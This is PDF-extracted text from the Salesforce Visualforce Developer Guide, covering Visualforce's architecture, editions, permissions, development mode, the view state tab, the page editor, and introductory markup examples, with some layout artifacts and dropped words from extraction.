. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 690
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 693
StandardController Constructors
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 694
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 695
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 699
StandardSetController Constructors
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 700
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 701
Appendix D: Execution Governors and Limits
. . . . . . . . . . . . . . . . . . . . . . . 709
CHAPTER 1
Introducing Visualforce
Over the past several years, Salesforce has created a comprehensive platform for building on-demand applications. Like other sophisticated application development platforms, the Force.com platform offers separate tools for defining:
•
The structure of the data—that is, the data model
•
The rules that detail how that data can be manipulated—that is, the business logic
•
The layouts that specify how that data should be displayed—that is, the user interface
Note: Splitting up application development tools based on whether they affect the data model, business logic, or user interface is also known as the Model-View-Controller (MVC) application development pattern—the Model is the data model, the View is the user interface, and the Controller is the business logic.
While the tools for building the data model and business logic for applications are powerful solutions that run natively on Force.com
platform servers, the existing tools for defining user interfaces have had certain limitations:
•
Page layouts, the point-and-click tool that allows application developers to organize fields, buttons, and related lists on record detail pages, do not provide much flexibility in how sets of information are displayed. Fields must always appear above related lists, buttons must always appear above fields, and s-controls and custom links can only be placed in particular areas.
•
S-controls, the tool that allows application developers to display custom HTML in a detail page or custom tab, provide more flexibility than page layouts, but:
–
Execute from within a browser, causing poor performance if displaying or updating values from more than a few records at a time
–
Do not provide an easy way to give custom user interface elements the same look-and-feel as standard Salesforce pages
–
Require developers to enforce field uniqueness and other metadata dependencies on their own
Important: Visualforce pages supersede s-controls. Organizations that haven’t previously used s-controls can’t create them.
Existing s-controls are unaffected, and can still be edited.
For these reasons, Salesforce has introduced Visualforce, the next-generation solution for building sophisticated custom user interfaces on the Force.com platform.
SEE ALSO:
How is Visualforce Architected?
What are the Benefits of Visualforce?
Which Editions Support Visualforce?
How Do Visualforce Pages Compare to S-Controls?
What’s New in Visualforce Version 37.0
1
Introducing Visualforce What is Visualforce?
What is Visualforce?
Visualforce is a framework that allows developers to build sophisticated, custom user interfaces that can be hosted natively on the
Force.com platform. The Visualforce framework includes a tag-based markup language, similar to HTML, and a set of server-side “standard controllers” that make basic database operations, such as queries and saves, very simple to perform.
In the Visualforce markup language, each Visualforce tag corresponds to a coarse or fine-grained user interface component, such as a section of a page, a related list, or a field. The behavior of Visualforce components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their own logic with a controller class written in Apex.
Sample of Visualforce Components and their Corresponding Tags
What is a Visualforce Page?
Developers can use Visualforce to create a Visualforce page definition. A page definition consists of two primary elements:
•
Visualforce markup
•
A Visualforce controller
Visualforce Markup
Visualforce markup consists of Visualforce tags, HTML, JavaScript, or any other Web-enabled code embedded within a single
<apex:page >
tag. The markup defines the user interface components that should be included on the page, and the way they should appear.
Visualforce Controllers
A Visualforce controller is a set of instructions that specify what happens when a user interacts with the components specified in associated
Visualforce markup, such as when a user clicks a button or link. Controllers also provide access to the data that should be displayed in a page, and can modify component behavior.
A developer can either use a standard controller provided by the Force.com platform, or add custom controller logic with a class written in Apex:
•
A
consists of the same functionality and logic that is used for a standard Salesforce page. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the same behavior as clicking Save on a standard Account edit page.
2
Introducing Visualforce Which Editions Support Visualforce?
If you use a standard controller on a page and the user doesn't have access to the object, the page will display a insufficient privileges error message. You can avoid this by
checking the user's accessibility
for an object and displaying components appropriately.
•
Salesforce pages that work with a set of records include list pages, related lists, and mass action pages.
•
A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions of the current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's profile.
•
A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the current user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can specify whether a user can execute methods in a controller extension based on the user's profile.
Note: Although custom controllers and controller extension classes execute in system mode and thereby ignore user permissions and field-level security, you can choose whether they respect a user's organization-wide defaults, role hierarchy, and sharing rules by using the with sharing
keywords in the class definition. For information, see “Using the with sharing
or without sharing
Keywords” in the
Apex Developer Guide
.
Where Can Visualforce Pages Be Used?
Developers can use Visualforce pages to:
•
Override standard buttons, such as the New button for accounts, or the Edit button for contacts
•
Override tab overview pages, such as the Accounts tab home page
•
Define custom tabs
•
Embed components in detail page layouts
•
Create dashboard components or custom help pages
•
Customize, extend, or integrate the sidebars in the Salesforce console (custom console components)
•
Add menu items, actions, and mobile cards in Salesforce1
SEE ALSO:
Building a Controller Extension
Which Editions Support Visualforce?
Visualforce is available in Contact Manager, Group, Professional, Enterprise, Unlimited, Performance, and Developer Editions.
3
Introducing Visualforce Which Permissions are Required for Visualforce Development?
Which Permissions are Required for Visualforce Development?
Visualforce development requires various permissions, depending on the specific activity.
To enable Visualforce development mode:
To create, edit, or delete Visualforce pages:
To create and edit custom Visualforce components:
User Permissions Needed
“Customize Application”
“Customize Application”
“Customize Application”
To edit custom Visualforce controllers or Apex
To set Visualforce page security:
To set version settings for Visualforce pages:
To create, edit, or delete static resources:
To create Visualforce Tabs:
“Author Apex”
“Manage Profiles and Permission Sets”
“Customize Application”
“Customize Application”
“Customize Application”
How is Visualforce Architected?
All Visualforce pages run entirely on the Force.com platform, both when a developer creates the page, and when an end user requests a page, as shown in the following architecture diagrams.
Visualforce System Architecture - Development Mode
4
Introducing Visualforce What are the Benefits of Visualforce?
When a developer finishes writing a Visualforce page and saves it to the platform, the platform application server attempts to compile the markup into an abstract set of instructions that can be understood by the Visualforce renderer. If compilation generates errors, the save is aborted and the errors are returned to the developer. Otherwise, the instructions are saved to the metadata repository and sent to the Visualforce renderer. The renderer turns the instructions into HTML and then refreshes the developer's view, thereby providing instantaneous feedback to the developer for whatever changes were made in the markup.
The architecture diagram below shows the process flow when a non-developer user requests a Visualforce page. Because the page is already compiled into instructions, the application server simply retrieves the page from the metadata repository and sends it to the
Visualforce renderer for conversion into HTML.
Visualforce System Architecture - Standard User Mode
Note: Your Visualforce pages may be run on one of the force.com servers instead of a salesforce.com server.
SEE ALSO:
What are the Benefits of Visualforce?
How Do Visualforce Pages Compare to S-Controls?
What are the Benefits of Visualforce?
As a markup language, Visualforce provides the following benefits:
User-friendly development
Developers can edit their Visualforce markup in the same window that displays the resulting page. Consequently, developers can instantly verify the result of an edit just by saving their code. The Visualforce editor pane also includes auto-completion and syntax highlighting.
5
Introducing Visualforce When Should I Use Visualforce?
Visualforce also supports “quick fixes” that allow developers to create supporting components on the fly. For example, a developer can define a new Visualforce page simply by logging in to Salesforce and then entering the name of the new page in a URL. Much like a wiki, if the page does not yet exist, the platform creates it for you.
Integration with other Web-based user interface technologies
Because Visualforce markup is ultimately rendered into HTML, designers can use Visualforce tags alongside standard HTML, JavaScript,
Flash, or any other code that can execute within an HTML page on the platform, including Force.com platform merge fields and expressions.
Model-View-Controller (MVC) style development
Visualforce conforms to the Model-View-Controller (MVC) development pattern by providing a clear division between the view of an application (the user interface, defined by Visualforce markup), and the controller that determines how the application works (the business logic, defined by a Visualforce controller written in Apex). With this architecture, designers and developers can easily split up the work that goes with building a new application—designers can focus on the look and feel of the user interface, while developers can work on the business logic that drives the app.
Concise syntax
Visualforce pages can implement the same functionality as s-controls but with approximately 90% fewer lines of code.
Data-driven defaults
Visualforce components are rendered intelligently by the platform. For example, rather than forcing page designers to use different component tags for different types of editable fields (such as email addresses or calendar dates), designers can simply use a generic
<apex:inputField >
tag for all fields. The Visualforce renderer displays the appropriate edit interface for each field.
Hosted platform
Visualforce pages are compiled and rendered entirely by the Force.com platform. Because they are so tightly integrated, they display the same performance as standard Salesforce pages, regardless of the amount of data being displayed or edited.
Automatically upgradeable
Visualforce pages do not need to be rewritten when other parts of the Force.com platform are upgraded. Because the pages are stored as metadata, they are automatically upgraded with the rest of the system.
When Should I Use Visualforce?
The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to customize the prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators and developers to implement custom functionality. These include Visualforce, Apex, and the SOAP API.
Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing the Salesforce user interface. With Visualforce you can:
•
Build wizards and other multistep processes.
•
Create your own custom flow control through an application.
•
Define navigation patterns and data-specific rules for optimal, efficient application interaction.
Apex
Use Apex if you want to:
6
Introducing Visualforce How Do Visualforce Pages Compare to S-Controls?
•
Create Web services.
•
Create email services.
•
Perform complex validation over multiple objects.
•
Create complex business processes that are not supported by workflow.
•
Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object).
•
Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless of whether it originates in the user interface, a Visualforce page, or from SOAP API.
For more information, see the
Apex Developer Guide
.
SOAP API
Use standard SOAP API calls if you want to add functionality to a composite application that processes only one type of record at a time and does not require any transactional control (such as setting a Savepoint or rolling back changes).
For more information, see the
SOAP API Developer's Guide
.
How Do Visualforce Pages Compare to S-Controls?
Important:
Visualforce pages supersede s-controls. Organizations that haven’t previously used s-controls can’t create them.
Existing s-controls are unaffected, and can still be edited.
Visualforce pages are considered the next-generation of s-controls and should be used instead of s-controls whenever possible, both for their increased performance and the ease with which they can be written. The following table outlines the differences between
Visualforce pages and s-controls.
Required technical skills
Language style
Page override model
Visualforce Pages
HTML, XML
Tag markup
Standard Salesforce component library
Yes
Access to built-in platform behavior
Yes, through the standard controller
Data binding
Assemble standard and custom components using tags
S-Controls
HTML, JavaScript, Ajax Toolkit
Procedural code
Write HTML and JavaScript for entire page
No
No
Yes
Developers can bind an input component
(such as a text box) with a particular field
(such as Account Name). If a user saves a value in that input component, it is also saved in the database.
No
Developers can't bind an input component with a particular field. Instead, they must write JavaScript code that uses the API to update the database with user-specified field values.
Stylesheet inheritance
Yes No, must bring in Salesforce stylesheets manually
7
Introducing Visualforce How is Visualforce Versioned?
Respect for field metadata, such as uniqueness
Interaction with Apex
Performance
Page container
Visualforce Pages S-Controls
Yes, by default
If a user attempts to save a record that violates uniqueness or requiredness field attributes, an error message is automatically displayed and the user can try again.
Yes, if coded in JavaScript using a describe
API call
If a user attempts to save a record that violates uniqueness or requiredness field attributes, an error message is only displayed if the s-control developer wrote code that checked those attributes.
Direct, by binding to a custom controller
More responsive because markup is generated on the Force.com platform
Native
Indirect, by using Apex webService methods through the API
Less responsive because every call to the
API requires a round trip to the server—the burden rests with the developer to tune performance
In an iFrame
SEE ALSO:
What are the Benefits of Visualforce?
How is Visualforce Architected?
How is Visualforce Versioned?
Starting with the Summer '09 release, Visualforce pages and components are versioned. When a page or component has a version number, the functionality of older Visualforce elements does not change as new implementations are introduced. Visualforce versions start at 15.0. If you try to set the version of a Visualforce page to a version earlier than 15.0, it will automatically be changed to 15.0.
To aid backwards-compatibility, each Visualforce page and custom component is saved with version settings for the specified version of the API as well as the specific version of Visualforce. If the Visualforce page or component references installed managed packages, the version settings for each managed package referenced by the page or component is saved too. This ensures that as Visualforce, the
API, and the components in managed packages evolve in subsequent versions, Visualforce pages and components are still bound to versions with specific, known behavior.
component is set at version 15.0, it always exhibits behavior from Visualforce version 15.0, whether running in a version 15.0 or a 16.0
page.
The release notes list any changes between Visualforce versions. The
component reference also lists which Visualforce version a standard
component was introduced in, as well as whether a component or attribute was deprecated in a version.
To set the Salesforce API and Visualforce version for a Visualforce page or custom component:
1. Edit a Visualforce page or component and click Version Settings.
Note: You can only modify the version settings for a page or custom component on the Version Settings tab when editing the page or component in Setup.
8
Introducing Visualforce What’s New in Visualforce Version 37.0
2. Select the
Version
of the Salesforce API. This is also the version of Visualforce used with the page or component.
3. Click Save.
SEE ALSO:
Managing Version Settings for Custom Components
Managing Package Version Settings for Visualforce Pages and Components
What’s New in Visualforce Version 37.0
Review the current release notes for a summary of new and changed Visualforce features in the latest release.
Past Releases
Our archive of release notes includes details about features we introduced in previous releases.
•
Spring ’16 Release Notes
•
Winter ’16 Release Notes
•
Summer ’15 Release Notes
•
Spring ’15 Release Notes
•
Winter ’15 Release Notes
•
Summer ’14 Release Notes
•
Spring ’14 Release Notes
•
Winter ’14 Release Notes
•
Summer ’13 Release Notes
•
Spring ’13 Release Notes
•
Winter ’13 Release Notes
•
Summer ’12 Release Notes
•
Spring ’12 Release Notes
•
Winter ’12 Release Notes
•
Summer ’11 Release Notes
•
Spring ’11 Release Notes
•
Winter ’11 Release Notes
•
Summer ’10 Release Notes
•
Spring ’10 Release Notes
•
Winter ’10 Release Notes
•
Summer ’09 Release Notes
•
Spring ’09 Release Notes
•
Winter ’09 Release Notes
•
Summer ’08 Release Notes
•
Spring ’08 Release Notes
•
Winter ’08 Release Notes
9
Introducing Visualforce Documentation Typographical Conventions
•
Summer ’07 Release Notes
•
Spring ’07 Release Notes
•
Force.com Mobile 7.0 for BlackBerry Release Notes
•
Force.com Mobile 6.1 for Windows Mobile 5 Release Notes
•
Winter ’07 Release Notes
•
Summer ’06 Release Notes
•
Winter ’06 Release Notes
•
Force.com Mobile 6.0 Release Notes
•
Summer ’05 Release Notes
•
Winter ’05 Release Notes
•
Summer ’04 Release Notes
•
Spring ’04 Release Notes
•
Winter ’04 Release Notes
Documentation Typographical Conventions
Apex and Visualforce documentation uses the following typographical conventions.
Convention
Courier font
Description
In descriptions of syntax, monospace font indicates items that you should type as shown, except for brackets. For example:
Public class HelloWorld
Italics
In descriptions of syntax, italics represent variables. You supply the actual value. In the following example, three values need to be supplied:
datatype variable_name
[ =
value
];
If the syntax is bold and italic, the text represents a code element that needs a value supplied by you, such as a class name or variable value: public static class
YourClassHere
{ ... }
Bold Courier font
< >
In code samples and syntax descriptions, bold courier font emphasizes a portion of the code or syntax.
In descriptions of syntax, less-than and greater-than symbols (< >) are typed exactly as shown.
<apex:pageBlockTable value= "{!account.Contacts}" var= "contact" >
<apex:column value= "{!contact.Name}" />
<apex:column value= "{!contact.MailingCity}" />
<apex:column value= "{!contact.Phone}" />
</apex:pageBlockTable >
10
Introducing Visualforce
Convention
{ }
|
[ ]
Documentation Typographical Conventions
Description
In descriptions of syntax, braces ({ }) are typed exactly as shown.
<apex:page >
Hello {!$User.FirstName}!
</apex:page >
In descriptions of syntax, anything included in brackets is optional. In the following example, specifying
value
is optional:
data_type variable_name
[ =
value
];
In descriptions of syntax, the pipe sign means “or”. You can do one of the following (not all).
In the following example, you can create a new unpopulated set in one of two ways, or you can populate the set:
Set<
data_type
>
set_name
[= new Set<
data_type
>();] |
[= new Set<
data_type
{
value
[,
value2
. . .] };] |
;
11
CHAPTER 2
Tools for Visualforce Development
Before you begin developing Visualforce pages and components, familiarize yourself with the different places to create them:
•
The best way to build Visualforce is by enabling Visualforce development mode. Visualforce development mode is only available for users with the “Customize Application” permission. Development mode provides you with:
–
A special development footer on every Visualforce page that includes the page’s view state, any associated controller, a link to the component reference documentation, and a page markup editor that offers highlighting, find-replace functionality, and auto-suggest for component tag and attribute names.
–
The ability to define new Visualforce pages just by entering a unique URL.
–
Error messages that include more detailed stack traces than what standard users receive.
To enable Visualforce development mode:
1. From your personal settings, enter
Advanced User Details
in the
Quick Find
box, then select Advanced User
Details. No results? Enter
Personal Information
in the
Quick Find
box, then select Personal Information.
2. Click Edit.
3. Select the
Development Mode
checkbox.
4. Optionally, select the
Show View State in Development Mode
checkbox to enable the View State tab on the development footer. This tab is useful for monitoring the performance of your Visualforce pages.
5. Click Save.
•
You can also develop Visualforce pages through the Salesforce user interface from Setup by entering
Visualforce Pages
in the
Quick Find
box, then selecting Visualforce Pages. For Visualforce components, from Setup, enter
Components
in the
Quick Find
box, then select Visualforce Components.
•
The Force.com IDE , a plug-in for the Eclipse IDE, offers capabilities not found elsewhere. The Force.com IDE provides a unified interface for building and deploying Force.com applications, and includes tools such as source code editors, project wizards, and integrated help. The IDE is designed for advanced developers and development teams.
Using the Development Mode Footer
With development mode enabled, you can view and edit the content of a page by navigating to the URL of the page. For example, if a page is named
HelloWorld
, and your Salesforce instance is na3.salesforce.com
, enter https://na3.salesforce.com/apex/HelloWorld
in your browser's address bar. Development mode also provides you with a special development footer to edit your Visualforce pages and custom controllers, as well as monitor Visualforce performance.
After enabling development mode, all Visualforce pages display with the development mode footer at the bottom of the browser:
•
Click the tab with the name of the page to open the page editor to view and edit the associated Visualforce markup without having to return to the Setup area. Changes display immediately after you save the page.
•
If the page uses a custom controller, the name of the controller class is available as a tab. Click the tab to edit the associated Apex class.
12
Tools for Visualforce Development Using the Development Mode Footer
•
If the page uses any controller extensions, the names of each extension are available as tabs. Clicking on the tab lets you edit the associated Apex class.
•
If enabled in Setup, the View State tab displays information about the items contributing to the view state of the Visualforce page.
•
Click Save (just above the edit pane) to save your changes and refresh the content of the page.
•
Click Component Reference to view the documentation for all supported Visualforce components.
•
Click Where is this used? to view a list of all items in Salesforce that reference the page, such as custom tabs, controllers, or other pages.
•
Click the Collapse button ( ) to collapse the development mode footer panel. Click the Expand button ( ) to toggle it back open.
•
Click the Disable Development Mode button ( ) to turn off development mode entirely. Development mode remains off until you enable it again from your personal information page in your personal settings.
About the View State Tab
The view state of a web page is composed of all the data that's necessary to maintain the state of the controller during server requests
(like sending or receiving data). Since the view state contributes to the overall size of your page, performance of a page can depend on efficiently managing the view state. The View State tab in the development mode footer provides information about the view state of your Visualforce page as it interacts with Salesforce.
Note:
The View State tab should be used by developers that understand the page request process. Familiarize yourself with the
order of execution in a Visualforce page before using the tab.
To enable the View State tab:
1. From your personal settings, enter
Advanced User Details
in the
Quick Find
box, then select Advanced User Details.
No results? Enter
Personal Information
in the
Quick Find
box, then select Personal Information.
2. Click Edit.
3. Select the
Development Mode
checkbox if it isn't selected.
4. Select the
Show View State in Development Mode
checkbox.
5. Click Save.
Note: Since the view state is linked to form data, the View State tab only appears if your page contains an
<apex:form >
tag.
In addition, the View State tab displays only on pages using
custom controllers or controller extensions
.
The View State tab is composed of folder nodes. If you click any folder, a pie chart with a Content tab appears. This chart displays the folder's child Visualforce custom controllers, Apex objects, or fields. You can see which elements contribute to the parent's overall size by hovering over pieces of the graph. This is the same information as the individual text nodes. The chart requires Flash version 6 or greater enabled on your browser.
Salesforce allows Visualforce pages to have a maximum view state size of 135 KB. The View State tab shows you which elements on your page are taking up that space. A smaller view state size generally means quicker load times. To minimize your pages' view state, you can optimize your Apex controller code and remove any superfluous Visualforce components used. For example:
•
If you notice that a large percentage of your view state comes from objects used in controllers or controller extensions, consider refining your SOQL calls to return only data that's relevant to the Visualforce page.
•
If your view state is affected by a large component tree, try reducing the number of components your page depends on.
For more information on how to improve Visualforce using the View State tab, see
Best Practices for Improving Visualforce Performance
on page 337.
The View State tab contains the following columns (in alphabetical order):
13
Tools for Visualforce Development About the Visualforce Editor
Column
% of Parent
Name
Size
Type
Value
Description
The percent of the overall size that the custom controller, Apex object, or field contributes to the parent.
The name of the custom controller, Apex object, or field.
The view state size of the custom controller, Apex object, or field.
The type of custom controller, Apex object, or field.
The value of the field.
The
Name
column contains nodes defining the various parts of your Visualforce page. They are (in alphabetical order):
Node
Component Tree
Internal
Expressions
State
View State
Description
This represents the overall structure of your page. Its size is affected by the number of components you have on the page. Generally, fewer components means a smaller component tree, which could result in faster load times. You can see how much of your view state size is made up from the component tree by clicking the
View State
folder.
This represents the internal Salesforce data used by your Visualforce page. This can't be controlled by developers. You can see how much of your view state size is made up from internal elements by clicking the
State
folder.
This represents the data used by formula expressions defined in your Visualforce page.
This folder contains all the Visualforce custom controllers, Apex objects, or fields. By expanding the child Controller and Controller
Extension folders, you can see each object that's on the page, its fields, and the value of those fields. Generally, these are dependent on your Apex controller logic.
This folder contains all the nodes. By clicking on it, you can find overall information about your Visualforce page's view state. The
Capacity tab tells you how much of your allotted view state size is being used. If you exceed that amount, the graph will also tell you how many kilobytes you've gone over.
About the Visualforce Editor
When editing Visualforce pages through the development mode footer or from Setup, an editor is available with the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
14
Tools for Visualforce Development About the Visualforce Editor
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the
Search
textbox and click Find Next.
•
To replace a found search string with another string, enter the new string in the
Replace
textbox and click replace to replace just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class, or trigger.
•
To make the search operation case sensitive, select the Match Case option.
•
To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables (
$1
,
$2
, and so on) from the found search string. For example, to replace an
<h1 >
tag with an
<h2 >
tag and keep all the attributes on the original
<h1 >
intact, search for
<h1(\s+)(.*) >
and replace it with
<h2$1$2 >
.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.
Undo ( ) and Redo ( )
Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
( ) to quickly navigate through the editor.
Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.
The editor supports the following keyboard shortcuts:
Tab
Adds a tab at the cursor
SHIFT+Tab
Removes a tab
CTRL+f
Opens the search dialog or searches for the next occurrence of the current search
CTRL+r
Opens the search dialog or replaces the next occurrence of the current search with the specified replacement string
CTRL+g
Opens the go to line dialog
CTRL+s
Performs a quick save.
CTRL+z
Reverses the last editing action
CTRL+y
Recreates the last editing action that was undone
15
CHAPTER 3
Getting a Quick Start with Visualforce
To showcase the essential elements of Visualforce, this chapter includes a set of examples that demonstrate features of the language.
While the examples do not go into every detail, rule, or exception for every tag or controller, new Visualforce developers can use this tutorial to understand how Visualforce works before proceeding to the more detailed descriptions in the remainder of this guide.
The examples are broken up into beginner and advanced sections. The beginner examples primarily use Visualforce markup. The advanced examples use Force.com Apex code in addition to Visualforce markup.
Advanced examples that require Apex are in their own chapter.
Compiling Visualforce Successfully
You can't save your Visualforce pages and components unless they correctly compile. Here's a list of things to watch out for when creating Visualforce pages:
•
Verify that your component tags start with the correct namespace identifier like apex:
—that is, apex
followed by a colon.
•
Make sure that every opening quote and bracket has a closing one.
•
Verify that the controller or controller extension is named correctly.
•
Visualforce pages and components created using Salesforce API version 19.0 or higher must be written as well-formed XML. In general, this means that elements must be correctly nested, non-empty elements must have an end tag, empty elements must be terminated with a closing slash (“
/
”), and so on. The World Wide Web Consortium (W3C) provides an article on the specifications of well-formed XML .
The following exceptions are allowed:
–
Code that violates well-formed XML is permitted inside JavaScript. For example, you don't need to use
<![CDATA[]]>
tags in Visualforce.
–
Code that violates well-formed XML is permitted inside expressions. For example, you don't need to escape quotation marks inside formulas.
–
XML directives that are normally required at the beginning of a page—such as
<?xml
version= "1.0" encoding= "UTF-8"?>
—can occur inside top-level container tags, like
<apex:page >
and
<apex:component >
.
Creating Your First Page
bar as follows: https://
Salesforce_instance
/apex/
myNewPageName
For example, if you want to create a page called “HelloWorld” and your Salesforce organization uses na3.salesforce.com
, enter http://na3.salesforce.com/apex/HelloWorld
.
16
Getting a Quick Start with Visualforce Creating Your First Page
Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page. Click Create
Page
<myNewPageName>
to create it automatically.
Note: If you do not have Visualforce development mode enabled, you can also create a new page from Setup by entering
Visualforce Pages
in the
Quick Find
box, then selecting Visualforce Pages, and then clicking New.
Visualforce pages can always be edited from this part of setup, but to see the results of your edits you have to navigate to the URL of your page. For that reason, most developers prefer to work with development mode enabled so they can view and edit pages in a single window.
A New Visualforce Page
You now have a Visualforce page that includes default text. To edit your new page, click the Page Editor bar that appears at the bottom of the browser. It expands to show you the following Visualforce markup:
<apex:page >
<!-- Begin Default Content REMOVE THIS -->
<h1 >Congratulations </h1 >
This is your new Apex Page: HelloWorld
<!-- End Default Content REMOVE THIS -->
</apex:page >
This default markup includes the only required tag for any page— the
<apex:page >
tag that begins and ends any page markup.
Embedded within the start and close
<apex:page >
tags is plain text, some of which is formatted with a standard HTML tag,
<h1 >
.
As long as you keep the required
<apex:page >
tag you can add as much plain text or valid HTML to this page as you want. For example, after entering the following code and clicking Save in the Page Editor, the page displays the text “Hello World!” in bold:
<apex:page >
<b >Hello World!
</b >
</apex:page >
Tip: Pay attention to warnings—the Visualforce editor displays a warning if you save a page with HTML that does not include a matching end tag for every opened tag. Although the page saves, this malformed HTML might cause problems in your rendered page.
17
Getting a Quick Start with Visualforce Displaying Field Values with Visualforce
Displaying Field Values with Visualforce
Visualforce pages use the same expression language as formulas—that is, anything inside
{! }
is evaluated as an expression that can access values from records that are currently in context. For example, you can display the current user's first name by adding the
{!$User.FirstName}
expression to a page:
<apex:page >
Hello {!$User.FirstName}!
</apex:page >
$User
is a global variable that always represents the current user record. All global variables are referenced with a $ symbol. For a list
of global variables that you can use in Visualforce, see Global Variables
on page 602.
To access fields from a record that is not globally available, like a specific account, contact, or custom object record, you need to associate your page with a controller. Controllers provide pages with the data and business logic that make your application run, including the logic that specifies how to access a particular object's records. While you can define a custom controller for any page with Apex, Salesforce includes standard controllers for every standard and custom object.
For example, to use the standard controller for accounts, add the standardController
attribute to the
<apex:page >
tag, and assign it the name of the account object:
<apex:page standardController= "Account" >
Hello {!$User.FirstName}!
</apex:page >
After you save your page, the Accounts tab is highlighted for the page, and the look-and-feel for the components on the page match the Accounts tab. Additionally, you can now access fields on the account record currently in context by using
{!account.
<fieldName>}
expression syntax.
For example, to display an account's name on a page, use
{!account.name}
in the page markup:
<apex:page standardController= "Account" >
Hello {!$User.FirstName}!
<p >You are viewing the {!account.name} account.
</p >
</apex:page >
The
{!account.name}
expression makes a call to the getAccount()
method in the standard Account controller to return the record ID of the account currently in context. It then uses dot notation to access the name
field for that record.
Note: You cannot access parent objects using this expression language. In other words,
{!account.parent.name}
will return an error.
Note: When you save a page, the value
attribute of all input components—
<apex:inputField >
,
<apex:inputText >
, and so on—is validated to ensure it’s a single expression, with no literal text or white space, and is a valid reference to a single controller method or object property. An error will prevent saving the page.
To bring an account record into the current context, you must add a query parameter to the page URL that specifies the ID of the record.
To do this:
1. Find the ID of an account by any means you wish. One easy way is to view the detail page of an account record and copy the character code at the end of the URL. For example, if you navigate to an account detail page with the following URL: https://na3.salesforce.com/001D000000IRt53
Then
001D000000IRt53
is the ID for the account.
18
Getting a Quick Start with Visualforce Using the Visualforce Component Library
2. Back on your page, add the account ID as a query string parameter to the URL in your browser's address bar. For example, if your page is located at: https://na3.salesforce.com/apex/HelloWorld2
Add
?id=001D000000IRt53
to the end of the URL: https://
Salesforce_instance
/apex/HelloWorld2?id=001D000000IRt53
Note:
If you use the id
parameter in a URL, it must refer to the same entity referred to in the standard controller.
Once an account ID is specified in the URL, the page displays the appropriate account name, as shown in the following figure.
Displaying Account Data in a Visualforce Page
Using the Visualforce Component Library
Up to this point, the only Visualforce tag that has been used in the examples is the mandatory
<apex:page >
tag that must be placed at the start and end of all Visualforce markup. However, just as you can insert images or tables into an HTML document with the
<img > or
<table >
tags, respectively, you can add user interface components to your Visualforce pages using tags that are defined in the
Visualforce component library.
For example, to add a component that looks like a section on a detail page, use the
<apex:pageBlock >
component tag:
<apex:page standardController= "Account" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
You are viewing the {!account.name} account.
</apex:pageBlock >
</apex:page >
19
Getting a Quick Start with Visualforce
The
<apex:pageBlock >
Component
Using the Visualforce Component Library
Tags also exist for other common Salesforce interface components, such as related lists, detail pages, and input fields. For example, to add the content of a detail page, use the
<apex:detail >
component tag:
<apex:page standardController= "Account" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
You are viewing the {!account.name} account.
</apex:pageBlock >
<apex:detail/ >
</apex:page >
The
<apex:detail >
Component Without Attributes
Without any specified attributes on the tag,
<apex:detail >
displays the complete detail view for the context record. If you want to modify properties such as which record details are displayed, or whether related lists or the title appear, you can use attributes on the tag. For example, the following markup displays the details of the context account's owner, without related lists or a colored title bar:
<apex:page standardController= "Account" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
20
Getting a Quick Start with Visualforce Overriding an Existing Page with a Visualforce Page
You are viewing the {!account.name} account.
</apex:pageBlock >
<apex:detail subject= "{!account.ownerId}" relatedList= "false" title= "false" />
</apex:page >
The
<apex:detail >
Component Without Related List or Title Elements
To browse the component library, click Component Reference in the Page Editor. From this page you can drill down into any component to see the attributes that are available for each, including any
that you define.
SEE ALSO:
Overriding an Existing Page with a Visualforce Page
Suppose you want to change the format of an existing page, such as the standard account detail page. All the information for an account displays on a single page. If there's a lot of information, you might end up doing a lot of scrolling. Using a Visualforce page you can make each section for an account display in a tab, such as contacts, opportunities, and so on.
First, create a new Visualforce page using the quick fix.
1. In your browser, add the text
/apex/tabbedAccount
to the URL for your Salesforce instance. For example, if your Salesforce instance is https://na1.salesforce.com
, the new URL would be https://na1.salesforce.com/apex/tabbedAccount
. You will get the following error message:
21
Getting a Quick Start with Visualforce Overriding an Existing Page with a Visualforce Page
2. Click Create Page tabbedAccount to create the new page.
